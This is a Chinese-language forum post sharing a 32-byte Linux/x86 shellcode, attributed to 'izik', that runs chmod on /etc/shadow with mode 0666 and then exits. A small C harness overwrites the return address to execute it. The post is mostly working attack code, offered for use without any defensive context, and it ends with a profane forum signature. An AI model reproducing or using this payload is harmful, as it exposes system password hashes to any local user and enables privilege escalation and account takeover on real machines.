发新话题
打印

linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes

linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes

文章作者:izik
复制内容到剪贴板
代码:
/*
* (linux/x86) chmod("/etc/shadow", 0666) + exit() - 32 bytes
* - izik <[email]izik@tty64.org[/email]>
*/

char shellcode[] =

  "\x6a\x0f"          // push $0xf
  "\x58"            // pop %eax
  "\x31\xc9"          // xor %ecx,%ecx
  "\x51"            // push %ecx
  "\x66\xb9\xb6\x01"    // mov $0x1b6,%cx
  "\x68\x61\x64\x6f\x77"  // push $0x776f6461
  "\x68\x63\x2f\x73\x68"  // push $0x68732f63
  "\x68\x2f\x2f\x65\x74"  // push $0x74652f2f
  "\x89\xe3"          // mov %esp,%ebx
  "\xcd\x80"          // int $0x80
  "\x40"            // inc %eax
  "\xcd\x80";         // int $0x80

int main(int argc, char **argv) {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int) shellcode;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题